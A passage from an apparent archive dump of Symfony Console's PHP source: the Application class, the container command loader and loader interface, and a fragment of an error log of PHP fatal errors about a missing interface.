Symfony\Component\ErrorHandler\ErrorHandler; use Symfony\Contracts\EventDispatcher\EventDispatcherInterface; use Symfony\Contracts\Service\ResetInterface; /** * An Application is the container for a collection of commands. * * It is the main entry point of a Console application. * * This class is optimized for a standard CLI environment. * * Usage: * * $app = new Application('myapp', '1.0 (stable)'); * $app->add(new SimpleCommand()); * $app->run(); * * @author Fabien Potencier */ class Application implements ResetInterface { private array $commands = []; private bool $wantHelps = false; private ?Command $runningCommand = null; private string $name; private string $version; private ?CommandLoaderInterface $commandLoader = null; private bool $catchExceptions = true; private bool $autoExit = true; private InputDefinition $definition; private HelperSet $helperSet; private ?EventDispatcherInterface $dispatcher = null; private Terminal $terminal; private string $defaultCommand; private bool $singleCommand = false; private bool $initialized = false; private ?SignalRegistry $signalRegistry = null; private array $signalsToDispatchEvent = []; public function __construct(string $name = 'UNKNOWN', string $version = 'UNKNOWN') { $this->name = $name; $this->version = $version; $this->terminal = new Terminal(); $this->defaultCommand = 'list'; if (\defined('SIGINT') && SignalRegistry::isSupported()) { $this->signalRegistry = new SignalRegistry(); $this->signalsToDispatchEvent = [\SIGINT, \SIGTERM, \SIGUSR1, \SIGUSR2]; } } /** * @final */ public function setDispatcher(EventDispatcherInterface $dispatcher): void { $this->dispatcher = $dispatcher; } /** * @return void */ public function setCommandLoader(CommandLoaderInterface $commandLoader) { $this->commandLoader = $commandLoader; } public function getSignalRegistry(): SignalRegistry { if (!$this->signalRegistry) { throw new RuntimeException('Signals are not supported. Make sure that the "pcntl" extension is installed and that "pcntl_*" functions are not disabled by your php.ini\'s "disable_functions" directive.'); } return $this->signalRegistry; } /** * @return void */ public function setSignalsToDispatchEvent(int ...$signalsToDispatchEvent) { $this->signalsToDispatchEvent = $signalsToDispatchEvent; } /** * Runs the current application. * * @return int 0 if everything went fine, or an error code * * @throws \Exception When running fails. Bypass this when {@link setCatchExceptions()}. */ public function run(InputInterface $input = null, OutputInterface $output = null): int { if (\function_exists('putenv')) { @putenv('LINES='.$this->terminal->getHeight()); @putenv('COLUMNS='.$this->terminal->getWidth()); } $input ??= new ArgvInput(); $output ??= new ConsoleOutput(); $renderException = function (\Throwable $e) use ($output) { if ($output instanceof ConsoleOutputInterface) { $this->renderThrowable($e, $output->getErrorOutput()); } else { $this->renderThrowable($e, $output); } }; if ($phpHandler = set_exception_handler($renderException)) { restore_exception_handler(); if (!\is_array($phpHandler) || !$phpHandler[0] instanceof ErrorHandler) { $errorHandler = true; } elseif ($errorHandler = $phpHandler[0]->setExceptionHandler($renderException)) { $phpHandler[0]->setExceptionHandler($errorHandler); } } $this->configureIO($input, $output); try { $exitCode = $this->doRun($input, $output); } catch (\Exception $e) { if (!$this->catchExceptions) { throw $e; } $renderException($e); $exitCode = $e->getCode(); if (is_numeric($exitCode)) { $exitCode = (int) $exitCode; if ($exitCode <= 0) { $exitCode = 1; } } else { $exitCode = 1; } } finally { // if the exception handler changed, keep it // otherwise, unregister $renderException if (!$phpHandler) { if (set_exception_handler($renderException) === $renderException) { restore_exception_handler(); } restore_exception_handler(); } elseif (!$errorHandler) { $finalHandler = $phpHandler[0]->setExceptionHandler(null); if ($finalHandler !== $renderException) { $phpHandler[0]->setExceptionHandler($finalHandler); } } } if ($this->autoExit) { if ($exitCode > 255) { $exitCode = 255; } exit($exitCode); } return $exitCode; } /** * Runs the current application. * * @return int 0 if everything went fine, or an error code */ public function doRun(InputInterface $input, OutputInterface $output) { if (true === $input->hasParameterOption(['--version', '-V'], true)) { $output->writeln($this->getLongVersion()); return 0; } try { // Makes ArgvInput::getFirstArgument() able to distinguish an option from an argument. $input->bind($this->getDefinition()); } catch (ExceptionInterface) { // Errors must be ignored, full binding/validation happens later when the command is known. } $name = $this->getCommandName($input); if (true === $input->hasParameterOption(['--help', '-h'], true)) { if (!$name) { $name = 'help'; $input = new ArrayInput(['command_name' => $this->defaultCommand]); } else { $this->wantHelps = true; } } if (!$name) { $name = $this->defaultCommand; $definition = $this->getDefinition(); $definition->setArguments(array_merge( $definition->getArguments(), [ 'command' => new InputArgument('command', InputArgument::OPTIONAL, $definition->getArgument('command')->getDescription(), $name), ] )); } try { $this->runningCommand = null; // the command name MUST be the first element of the input $command = $this->find($name); } catch (\Throwable $e) { if (($e instanceof CommandNotFoundException && !$e instanceof NamespaceNotFoundException) && 1 === \count($alternatives = $e->getAlternatives()) && $input->isInteractive()) { $alternative = $alternatives[0]; $style = new SymfonyStyle($input, $output); $output->writeln(''); $formattedBlock = (new FormatterHelper())->formatBlock(sprintf('Command "%s" is not defined.', $name), 'error', true); $output->writeln($formattedBlock); if (!$style->confirm(sprintf('Do you want to run "%s" instead? ', $alternative), false)) { if (null !== $this->dispatcher) { $event = new ConsoleErrorEvent($input, $output, $e); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); return $event->getExitCode(); } return 1; } $command = $this->find($alternative); } else { if (null !== $this->dispatcher) { $event = new ConsoleErrorEvent($input, $output, $e); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); if (0 === $event->getExitCode()) { return 0; } $e = $event->getError(); } try { if ($e instanceof CommandNotFoundException && $namespace = $this->findNamespace($name)) { $helper = new DescriptorHelper(); $helper->describe($output instanceof ConsoleOutputInterface ? $output->getErrorOutput() : $output, $this, [ 'format' => 'txt', 'raw_text' => false, 'namespace' => $namespace, 'short' => false, ]); return isset($event) ? $event->getExitCode() : 1; } throw $e; } catch (NamespaceNotFoundException) { throw $e; } } } if ($command instanceof LazyCommand) { $command = $command->getCommand(); } $this->runningCommand = $command; $exitCode = $this->doRunCommand($command, $input, $output); $this->runningCommand = null; return $exitCode; } /** * @return void */ public function reset() { } /** * @return void */ public function setHelperSet(HelperSet $helperSet) { $this->helperSet = $helperSet; } /** * Get the helper set associated with the command. */ public function getHelperSet(): HelperSet { return $this->helperSet ??= $this->getDefaultHelperSet(); } /** * @return void */ public function setDefinition(InputDefinition $definition) { $this->definition = $definition; } /** * Gets the InputDefinition related to this Application. */ public function getDefinition(): InputDefinition { $this->definition ??= $this->getDefaultInputDefinition(); if ($this->singleCommand) { $inputDefinition = $this->definition; $inputDefinition->setArguments(); return $inputDefinition; } return $this->definition; } /** * Adds suggestions to $suggestions for the current completion input (e.g. option or argument). */ public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ( CompletionInput::TYPE_ARGUMENT_VALUE === $input->getCompletionType() && 'command' === $input->getCompletionName() ) { foreach ($this->all() as $name => $command) { // skip hidden commands and aliased commands as they already get added below if ($command->isHidden() || $command->getName() !== $name) { continue; } $suggestions->suggestValue(new Suggestion($command->getName(), $command->getDescription())); foreach ($command->getAliases() as $name) { $suggestions->suggestValue(new Suggestion($name, $command->getDescription())); } } return; } if (CompletionInput::TYPE_OPTION_NAME === $input->getCompletionType()) { $suggestions->suggestOptions($this->getDefinition()->getOptions()); return; } } /** * Gets the help message. */ public function getHelp(): string { return $this->getLongVersion(); } /** * Gets whether to catch exceptions or not during commands execution. */ public function areExceptionsCaught(): bool { return $this->catchExceptions; } /** * Sets whether to catch exceptions or not during commands execution. * * @return void */ public function setCatchExceptions(bool $boolean) { $this->catchExceptions = $boolean; } /** * Gets whether to automatically exit after a command execution or not. */ public function isAutoExitEnabled(): bool { return $this->autoExit; } /** * Sets whether to automatically exit after a command execution or not. * * @return void */ public function setAutoExit(bool $boolean) { $this->autoExit = $boolean; } /** * Gets the name of the application. */ public function getName(): string { return $this->name; } /** * Sets the application name. * * @return void */ public function setName(string $name) { $this->name = $name; } /** * Gets the application version. */ public function getVersion(): string { return $this->version; } /** * Sets the application version. * * @return void */ public function setVersion(string $version) { $this->version = $version; } /** * Returns the long version of the application. * * @return string */ public function getLongVersion() { if ('UNKNOWN' !== $this->getName()) { if ('UNKNOWN' !== $this->getVersion()) { return sprintf('%s %s', $this->getName(), $this->getVersion()); } return $this->getName(); } return 'Console Tool'; } /** * Registers a new command. */ public function register(string $name): Command { return $this->add(new Command($name)); } /** * Adds an array of command objects. * * If a Command is not enabled it will not be added. * * @param Command[] $commands An array of commands * * @return void */ public function addCommands(array $commands) { foreach ($commands as $command) { $this->add($command); } } /** * Adds a command object. * * If a command with the same name already exists, it will be overridden. * If the command is not enabled it will not be added. * * @return Command|null */ public function add(Command $command) { $this->init(); $command->setApplication($this); if (!$command->isEnabled()) { $command->setApplication(null); return null; } if (!$command instanceof LazyCommand) { // Will throw if the command is not correctly initialized. $command->getDefinition(); } if (!$command->getName()) { throw new LogicException(sprintf('The command defined in "%s" cannot have an empty name.', get_debug_type($command))); } $this->commands[$command->getName()] = $command; foreach ($command->getAliases() as $alias) { $this->commands[$alias] = $command; } return $command; } /** * Returns a registered command by name or alias. * * @return Command * * @throws CommandNotFoundException When given command name does not exist */ public function get(string $name) { $this->init(); if (!$this->has($name)) { throw new CommandNotFoundException(sprintf('The command "%s" does not exist.', $name)); } // When the command has a different name than the one used at the command loader level if (!isset($this->commands[$name])) { throw new CommandNotFoundException(sprintf('The "%s" command cannot be found because it is registered under multiple names. Make sure you don\'t set a different name via constructor or "setName()".', $name)); } $command = $this->commands[$name]; if ($this->wantHelps) { $this->wantHelps = false; $helpCommand = $this->get('help'); $helpCommand->setCommand($command); return $helpCommand; } return $command; } /** * Returns true if the command exists, false otherwise. */ public function has(string $name): bool { $this->init(); return isset($this->commands[$name]) || ($this->commandLoader?->has($name) && $this->add($this->commandLoader->get($name))); } /** * Returns an array of all unique namespaces used by currently registered commands. * * It does not return the global namespace which always exists. * * @return string[] */ public function getNamespaces(): array { $namespaces = []; foreach ($this->all() as $command) { if ($command->isHidden()) { continue; } $namespaces[] = $this->extractAllNamespaces($command->getName()); foreach ($command->getAliases() as $alias) { $namespaces[] = $this->extractAllNamespaces($alias); } } return array_values(array_unique(array_filter(array_merge([], ...$namespaces)))); } /** * Finds a registered namespace by a name or an abbreviation. * * @throws NamespaceNotFoundException When namespace is incorrect or ambiguous */ public function findNamespace(string $namespace): string { $allNamespaces = $this->getNamespaces(); $expr = implode('[^:]*:', array_map('preg_quote', explode(':', $namespace))).'[^:]*'; $namespaces = preg_grep('{^'.$expr.'}', $allNamespaces); if (empty($namespaces)) { $message = sprintf('There are no commands defined in the "%s" namespace.', $namespace); if ($alternatives = $this->findAlternatives($namespace, $allNamespaces)) { if (1 == \count($alternatives)) { $message .= "\n\nDid you mean this?\n "; } else { $message .= "\n\nDid you mean one of these?\n "; } $message .= implode("\n ", $alternatives); } throw new NamespaceNotFoundException($message, $alternatives); } $exact = \in_array($namespace, $namespaces, true); if (\count($namespaces) > 1 && !$exact) { throw new NamespaceNotFoundException(sprintf("The namespace \"%s\" is ambiguous.\nDid you mean one of these?\n%s.", $namespace, $this->getAbbreviationSuggestions(array_values($namespaces))), array_values($namespaces)); } return $exact ? $namespace : reset($namespaces); } /** * Finds a command by name or alias. * * Contrary to get, this command tries to find the best * match if you give it an abbreviation of a name or alias. * * @return Command * * @throws CommandNotFoundException When command name is incorrect or ambiguous */ public function find(string $name) { $this->init(); $aliases = []; foreach ($this->commands as $command) { foreach ($command->getAliases() as $alias) { if (!$this->has($alias)) { $this->commands[$alias] = $command; } } } if ($this->has($name)) { return $this->get($name); } $allCommands = $this->commandLoader ? array_merge($this->commandLoader->getNames(), array_keys($this->commands)) : array_keys($this->commands); $expr = implode('[^:]*:', array_map('preg_quote', explode(':', $name))).'[^:]*'; $commands = preg_grep('{^'.$expr.'}', $allCommands); if (empty($commands)) { $commands = preg_grep('{^'.$expr.'}i', $allCommands); } // if no commands matched or we just matched namespaces if (empty($commands) || \count(preg_grep('{^'.$expr.'$}i', $commands)) < 1) { if (false !== $pos = strrpos($name, ':')) { // check if a namespace exists and contains commands $this->findNamespace(substr($name, 0, $pos)); } $message = sprintf('Command "%s" is not defined.', $name); if ($alternatives = $this->findAlternatives($name, $allCommands)) { // remove hidden commands $alternatives = array_filter($alternatives, fn ($name) => !$this->get($name)->isHidden()); if (1 == \count($alternatives)) { $message .= "\n\nDid you mean this?\n "; } else { $message .= "\n\nDid you mean one of these?\n "; } $message .= implode("\n ", $alternatives); } throw new CommandNotFoundException($message, array_values($alternatives)); } // filter out aliases for commands which are already on the list if (\count($commands) > 1) { $commandList = $this->commandLoader ? array_merge(array_flip($this->commandLoader->getNames()), $this->commands) : $this->commands; $commands = array_unique(array_filter($commands, function ($nameOrAlias) use (&$commandList, $commands, &$aliases) { if (!$commandList[$nameOrAlias] instanceof Command) { $commandList[$nameOrAlias] = $this->commandLoader->get($nameOrAlias); } $commandName = $commandList[$nameOrAlias]->getName(); $aliases[$nameOrAlias] = $commandName; return $commandName === $nameOrAlias || !\in_array($commandName, $commands); })); } if (\count($commands) > 1) { $usableWidth = $this->terminal->getWidth() - 10; $abbrevs = array_values($commands); $maxLen = 0; foreach ($abbrevs as $abbrev) { $maxLen = max(Helper::width($abbrev), $maxLen); } $abbrevs = array_map(function ($cmd) use ($commandList, $usableWidth, $maxLen, &$commands) { if ($commandList[$cmd]->isHidden()) { unset($commands[array_search($cmd, $commands)]); return false; } $abbrev = str_pad($cmd, $maxLen, ' ').' '.$commandList[$cmd]->getDescription(); return Helper::width($abbrev) > $usableWidth ? Helper::substr($abbrev, 0, $usableWidth - 3).'...' : $abbrev; }, array_values($commands)); if (\count($commands) > 1) { $suggestions = $this->getAbbreviationSuggestions(array_filter($abbrevs)); throw new CommandNotFoundException(sprintf("Command \"%s\" is ambiguous.\nDid you mean one of these?\n%s.", $name, $suggestions), array_values($commands)); } } $command = $this->get(reset($commands)); if ($command->isHidden()) { throw new CommandNotFoundException(sprintf('The command "%s" does not exist.', $name)); } return $command; } /** * Gets the commands (registered in the given namespace if provided). * * The array keys are the full names and the values the command instances. * * @return Command[] */ public function all(string $namespace = null) { $this->init(); if (null === $namespace) { if (!$this->commandLoader) { return $this->commands; } $commands = $this->commands; foreach ($this->commandLoader->getNames() as $name) { if (!isset($commands[$name]) && $this->has($name)) { $commands[$name] = $this->get($name); } } return $commands; } $commands = []; foreach ($this->commands as $name => $command) { if ($namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1)) { $commands[$name] = $command; } } if ($this->commandLoader) { foreach ($this->commandLoader->getNames() as $name) { if (!isset($commands[$name]) && $namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1) && $this->has($name)) { $commands[$name] = $this->get($name); } } } return $commands; } /** * Returns an array of possible abbreviations given a set of names. * * @return string[][] */ public static function getAbbreviations(array $names): array { $abbrevs = []; foreach ($names as $name) { for ($len = \strlen($name); $len > 0; --$len) { $abbrev = substr($name, 0, $len); $abbrevs[$abbrev][] = $name; } } return $abbrevs; } public function renderThrowable(\Throwable $e, OutputInterface $output): void { $output->writeln('', OutputInterface::VERBOSITY_QUIET); $this->doRenderThrowable($e, $output); if (null !== $this->runningCommand) { $output->writeln(sprintf('%s', OutputFormatter::escape(sprintf($this->runningCommand->getSynopsis(), $this->getName()))), OutputInterface::VERBOSITY_QUIET); $output->writeln('', OutputInterface::VERBOSITY_QUIET); } } protected function doRenderThrowable(\Throwable $e, OutputInterface $output): void { do { $message = trim($e->getMessage()); if ('' === $message || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $class = get_debug_type($e); $title = sprintf(' [%s%s] ', $class, 0 !== ($code = $e->getCode()) ? ' ('.$code.')' : ''); $len = Helper::width($title); } else { $len = 0; } if (str_contains($message, "@anonymous\0")) { $message = preg_replace_callback('/[a-zA-Z_\x7f-\xff][\\\\a-zA-Z0-9_\x7f-\xff]*+@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/', fn ($m) => class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0])) ?: 'class').'@anonymous' : $m[0], $message); } $width = $this->terminal->getWidth() ? $this->terminal->getWidth() - 1 : \PHP_INT_MAX; $lines = []; foreach ('' !== $message ? preg_split('/\r?\n/', $message) : [] as $line) { foreach ($this->splitStringByWidth($line, $width - 4) as $line) { // pre-format lines to get the right string length $lineLength = Helper::width($line) + 4; $lines[] = [$line, $lineLength]; $len = max($lineLength, $len); } } $messages = []; if (!$e instanceof ExceptionInterface || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $messages[] = sprintf('%s', OutputFormatter::escape(sprintf('In %s line %s:', basename($e->getFile()) ?: 'n/a', $e->getLine() ?: 'n/a'))); } $messages[] = $emptyLine = sprintf('%s', str_repeat(' ', $len)); if ('' === $message || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $messages[] = sprintf('%s%s', $title, str_repeat(' ', max(0, $len - Helper::width($title)))); } foreach ($lines as $line) { $messages[] = sprintf(' %s %s', OutputFormatter::escape($line[0]), str_repeat(' ', $len - $line[1])); } $messages[] = $emptyLine; $messages[] = ''; $output->writeln($messages, OutputInterface::VERBOSITY_QUIET); if (OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) { $output->writeln('Exception trace:', OutputInterface::VERBOSITY_QUIET); // exception related properties $trace = $e->getTrace(); array_unshift($trace, [ 'function' => '', 'file' => $e->getFile() ?: 'n/a', 'line' => $e->getLine() ?: 'n/a', 'args' => [], ]); for ($i = 0, $count = \count($trace); $i < $count; ++$i) { $class = $trace[$i]['class'] ?? ''; $type = $trace[$i]['type'] ?? ''; $function = $trace[$i]['function'] ?? ''; $file = $trace[$i]['file'] ?? 'n/a'; $line = $trace[$i]['line'] ?? 'n/a'; $output->writeln(sprintf(' %s%s at %s:%s', $class, $function ? $type.$function.'()' : '', $file, $line), OutputInterface::VERBOSITY_QUIET); } $output->writeln('', OutputInterface::VERBOSITY_QUIET); } } while ($e = $e->getPrevious()); } /** * Configures the input and output instances based on the user arguments and options. * * @return void */ protected function configureIO(InputInterface $input, OutputInterface $output) { if (true === $input->hasParameterOption(['--ansi'], true)) { $output->setDecorated(true); } elseif (true === $input->hasParameterOption(['--no-ansi'], true)) { $output->setDecorated(false); } if (true === $input->hasParameterOption(['--no-interaction', '-n'], true)) { $input->setInteractive(false); } switch ($shellVerbosity = (int) getenv('SHELL_VERBOSITY')) { case -1: $output->setVerbosity(OutputInterface::VERBOSITY_QUIET); break; case 1: $output->setVerbosity(OutputInterface::VERBOSITY_VERBOSE); break; case 2: $output->setVerbosity(OutputInterface::VERBOSITY_VERY_VERBOSE); break; case 3: $output->setVerbosity(OutputInterface::VERBOSITY_DEBUG); break; default: $shellVerbosity = 0; break; } if (true === $input->hasParameterOption(['--quiet', '-q'], true)) { $output->setVerbosity(OutputInterface::VERBOSITY_QUIET); $shellVerbosity = -1; } else { if ($input->hasParameterOption('-vvv', true) || $input->hasParameterOption('--verbose=3', true) || 3 === $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_DEBUG); $shellVerbosity = 3; } elseif ($input->hasParameterOption('-vv', true) || $input->hasParameterOption('--verbose=2', true) || 2 === $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_VERY_VERBOSE); $shellVerbosity = 2; } elseif ($input->hasParameterOption('-v', true) || $input->hasParameterOption('--verbose=1', true) || $input->hasParameterOption('--verbose', true) || $input->getParameterOption('--verbose', false, true)) { $output->setVerbosity(OutputInterface::VERBOSITY_VERBOSE); $shellVerbosity = 1; } } if (-1 === $shellVerbosity) { $input->setInteractive(false); } if (\function_exists('putenv')) { @putenv('SHELL_VERBOSITY='.$shellVerbosity); } $_ENV['SHELL_VERBOSITY'] = $shellVerbosity; $_SERVER['SHELL_VERBOSITY'] = $shellVerbosity; } /** * Runs the current command. * * If an event dispatcher has been attached to the application, * events are also dispatched during the life-cycle of the command. * * @return int 0 if everything went fine, or an error code */ protected function doRunCommand(Command $command, InputInterface $input, OutputInterface $output) { foreach ($command->getHelperSet() as $helper) { if ($helper instanceof InputAwareInterface) { $helper->setInput($input); } } $commandSignals = $command instanceof SignalableCommandInterface ? $command->getSubscribedSignals() : []; if ($commandSignals || $this->dispatcher && $this->signalsToDispatchEvent) { if (!$this->signalRegistry) { throw new RuntimeException('Unable to subscribe to signal events. Make sure that the "pcntl" extension is installed and that "pcntl_*" functions are not disabled by your php.ini\'s "disable_functions" directive.'); } if (Terminal::hasSttyAvailable()) { $sttyMode = shell_exec('stty -g'); foreach ([\SIGINT, \SIGTERM] as $signal) { $this->signalRegistry->register($signal, static fn () => shell_exec('stty '.$sttyMode)); } } if ($this->dispatcher) { // We register application signals, so that we can dispatch the event foreach ($this->signalsToDispatchEvent as $signal) { $event = new ConsoleSignalEvent($command, $input, $output, $signal); $this->signalRegistry->register($signal, function ($signal) use ($event, $command, $commandSignals) { $this->dispatcher->dispatch($event, ConsoleEvents::SIGNAL); $exitCode = $event->getExitCode(); // If the command is signalable, we call the handleSignal() method if (\in_array($signal, $commandSignals, true)) { $exitCode = $command->handleSignal($signal, $exitCode); // BC layer for Symfony <= 5 if (null === $exitCode) { trigger_deprecation('symfony/console', '6.3', 'Not returning an exit code from "%s::handleSignal()" is deprecated, return "false" to keep the command running or "0" to exit successfully.', get_debug_type($command)); $exitCode = 0; } } if (false !== $exitCode) { exit($exitCode); } }); } // then we register command signals, but not if already handled after the dispatcher $commandSignals = array_diff($commandSignals, $this->signalsToDispatchEvent); } foreach ($commandSignals as $signal) { $this->signalRegistry->register($signal, function (int $signal) use ($command): void { $exitCode = $command->handleSignal($signal); // BC layer for Symfony <= 5 if (null === $exitCode) { trigger_deprecation('symfony/console', '6.3', 'Not returning an exit code from "%s::handleSignal()" is deprecated, return "false" to keep the command running or "0" to exit successfully.', get_debug_type($command)); $exitCode = 0; } if (false !== $exitCode) { exit($exitCode); } }); } } if (null === $this->dispatcher) { return $command->run($input, $output); } // bind before the console.command event, so the listeners have access to input options/arguments try { $command->mergeApplicationDefinition(); $input->bind($command->getDefinition()); } catch (ExceptionInterface) { // ignore invalid options/arguments for now, to allow the event listeners to customize the InputDefinition } $event = new ConsoleCommandEvent($command, $input, $output); $e = null; try { $this->dispatcher->dispatch($event, ConsoleEvents::COMMAND); if ($event->commandShouldRun()) { $exitCode = $command->run($input, $output); } else { $exitCode = ConsoleCommandEvent::RETURN_CODE_DISABLED; } } catch (\Throwable $e) { $event = new ConsoleErrorEvent($input, $output, $e, $command); $this->dispatcher->dispatch($event, ConsoleEvents::ERROR); $e = $event->getError(); if (0 === $exitCode = $event->getExitCode()) { $e = null; } } $event = new ConsoleTerminateEvent($command, $input, $output, $exitCode); $this->dispatcher->dispatch($event, ConsoleEvents::TERMINATE); if (null !== $e) { throw $e; } return $event->getExitCode(); } /** * Gets the name of the command based on input. */ protected function getCommandName(InputInterface $input): ?string { return $this->singleCommand ? $this->defaultCommand : $input->getFirstArgument(); } /** * Gets the default input definition. */ protected function getDefaultInputDefinition(): InputDefinition { return new InputDefinition([ new InputArgument('command', InputArgument::REQUIRED, 'The command to execute'), new InputOption('--help', '-h', InputOption::VALUE_NONE, 'Display help for the given command. When no command is given display help for the '.$this->defaultCommand.' command'), new InputOption('--quiet', '-q', InputOption::VALUE_NONE, 'Do not output any message'), new InputOption('--verbose', '-v|vv|vvv', InputOption::VALUE_NONE, 'Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug'), new InputOption('--version', '-V', InputOption::VALUE_NONE, 'Display this application version'), new InputOption('--ansi', '', InputOption::VALUE_NEGATABLE, 'Force (or disable --no-ansi) ANSI output', null), new InputOption('--no-interaction', '-n', InputOption::VALUE_NONE, 'Do not ask any interactive question'), ]); } /** * Gets the default commands that should always be available. * * @return Command[] */ protected function getDefaultCommands(): array { return [new HelpCommand(), new ListCommand(), new CompleteCommand(), new DumpCompletionCommand()]; } /** * Gets the default helper set with the helpers that should always be available. */ protected function getDefaultHelperSet(): HelperSet { return new HelperSet([ new FormatterHelper(), new DebugFormatterHelper(), new ProcessHelper(), new QuestionHelper(), ]); } /** * Returns abbreviated suggestions in string format. */ private function getAbbreviationSuggestions(array $abbrevs): string { return ' '.implode("\n ", $abbrevs); } /** * Returns the namespace part of the command name. * * This method is not part of public API and should not be used directly. */ public function extractNamespace(string $name, int $limit = null): string { $parts = explode(':', $name, -1); return implode(':', null === $limit ? $parts : \array_slice($parts, 0, $limit)); } /** * Finds alternative of $name among $collection, * if nothing is found in $collection, try in $abbrevs. * * @return string[] */ private function findAlternatives(string $name, iterable $collection): array { $threshold = 1e3; $alternatives = []; $collectionParts = []; foreach ($collection as $item) { $collectionParts[$item] = explode(':', $item); } foreach (explode(':', $name) as $i => $subname) { foreach ($collectionParts as $collectionName => $parts) { $exists = isset($alternatives[$collectionName]); if (!isset($parts[$i]) && $exists) { $alternatives[$collectionName] += $threshold; continue; } elseif (!isset($parts[$i])) { continue; } $lev = levenshtein($subname, $parts[$i]); if ($lev <= \strlen($subname) / 3 || '' !== $subname && str_contains($parts[$i], $subname)) { $alternatives[$collectionName] = $exists ? $alternatives[$collectionName] + $lev : $lev; } elseif ($exists) { $alternatives[$collectionName] += $threshold; } } } foreach ($collection as $item) { $lev = levenshtein($name, $item); if ($lev <= \strlen($name) / 3 || str_contains($item, $name)) { $alternatives[$item] = isset($alternatives[$item]) ? $alternatives[$item] - $lev : $lev; } } $alternatives = array_filter($alternatives, fn ($lev) => $lev < 2 * $threshold); ksort($alternatives, \SORT_NATURAL | \SORT_FLAG_CASE); return array_keys($alternatives); } /** * Sets the default Command name. * * @return $this */ public function setDefaultCommand(string $commandName, bool $isSingleCommand = false): static { $this->defaultCommand = explode('|', ltrim($commandName, '|'))[0]; if ($isSingleCommand) { // Ensure the command exist $this->find($commandName); $this->singleCommand = true; } return $this; } /** * @internal */ public function isSingleCommand(): bool { return $this->singleCommand; } private function splitStringByWidth(string $string, int $width): array { // str_split is not suitable for multi-byte characters, we should use preg_split to get char array properly. // additionally, array_slice() is not enough as some character has doubled width. // we need a function to split string not by character count but by string width if (false === $encoding = mb_detect_encoding($string, null, true)) { return str_split($string, $width); } $utf8String = mb_convert_encoding($string, 'utf8', $encoding); $lines = []; $line = ''; $offset = 0; while (preg_match('/.{1,10000}/u', $utf8String, $m, 0, $offset)) { $offset += \strlen($m[0]); foreach (preg_split('//u', $m[0]) as $char) { // test if $char could be appended to current line if (mb_strwidth($line.$char, 'utf8') <= $width) { $line .= $char; continue; } // if not, push current line to array and make new line $lines[] = str_pad($line, $width); $line = $char; } } $lines[] = \count($lines) ? str_pad($line, $width) : $line; mb_convert_variables($encoding, 'utf8', $lines); return $lines; } /** * Returns all namespaces of the command name. * * @return string[] */ private function extractAllNamespaces(string $name): array { // -1 as third argument is needed to skip the command short name when exploding $parts = explode(':', $name, -1); $namespaces = []; foreach ($parts as $part) { if (\count($namespaces)) { $namespaces[] = end($namespaces).':'.$part; } else { $namespaces[] = $part; } } return $namespaces; } private function init(): void { if ($this->initialized) { return; } $this->initialized = true; foreach ($this->getDefaultCommands() as $command) { $this->add($command); } } } console/CommandLoader/ContainerCommandLoader.php000064400000002721151113512040015767 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Psr\Container\ContainerInterface; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * Loads commands from a PSR-11 container. * * @author Robin Chalas */ class ContainerCommandLoader implements CommandLoaderInterface { private ContainerInterface $container; private array $commandMap; /** * @param array $commandMap An array with command names as keys and service ids as values */ public function __construct(ContainerInterface $container, array $commandMap) { $this->container = $container; $this->commandMap = $commandMap; } public function get(string $name): Command { if (!$this->has($name)) { throw new CommandNotFoundException(sprintf('Command "%s" does not exist.', $name)); } return $this->container->get($this->commandMap[$name]); } public function has(string $name): bool { return isset($this->commandMap[$name]) && $this->container->has($this->commandMap[$name]); } public function getNames(): array { return array_keys($this->commandMap); } } console/CommandLoader/CommandLoaderInterface.php000064400000001452151113512040015745 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\CommandLoader; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\CommandNotFoundException; /** * @author Robin Chalas */ interface CommandLoaderInterface { /** * Loads a command. * * @throws CommandNotFoundException */ public function get(string $name): Command; /** * Checks if a command exists. */ public function has(string $name): bool; /** * @return string[] */ public function getNames(): array; } console/CommandLoader/error_log000064400000005304151113512040012623 0ustar00[19-Nov-2025 04:30:41 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php on line 22 [19-Nov-2025 11:18:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/FactoryCommandLoader.php on line 22 [19-Nov-2025 11:23:19 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php:23 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php on line 23 [25-Nov-2025 02:29:32 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Console\CommandLoader\CommandLoaderInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/console/CommandLoader/ContainerCommandLoader.php:23 Stack trace: #0 {main} thrown in 